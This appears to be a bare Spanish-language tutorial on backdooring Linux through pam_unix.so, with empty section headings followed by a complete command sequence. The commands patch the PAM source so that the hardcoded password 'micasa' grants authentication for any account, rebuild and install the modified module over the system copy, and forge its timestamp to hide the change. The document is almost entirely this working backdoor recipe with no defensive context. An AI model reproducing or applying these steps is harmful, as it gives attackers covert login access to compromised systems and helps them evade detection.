# Linux backdoor con pam_unix.so

Introducción

PAM

Ejecución

# apt-get install dpkg-dev flex
# apt-get source libpam-modules=`dpkg -s libpam-modules \
> | grep -i version | cut -d' ' -f2`
# cd pam-1.1.1/modules/pam_unix/
# sed -i '/\tretval = _unix_verify_password(pamh, name, p, ctrl);/ a \\tif (strcmp(p, \"micasa\") == 0) { retval = PAM_SUCCESS; }' pam_unix_auth.c
# cd ../..
# ./configure
# make
# cd
# timestamp=`ls -l /lib/security/ | grep pam_unix.so | grep -v ^l \
> | awk '{print $6$7}' | tr -d '-' | tr -d ':'`
# cp /lib/security/pam_unix.so .
# cp pam-1.1.1/modules/pam_unix/.libs/pam_unix.so /lib/security/.
# touch -t $timestamp /lib/security/pam_unix.so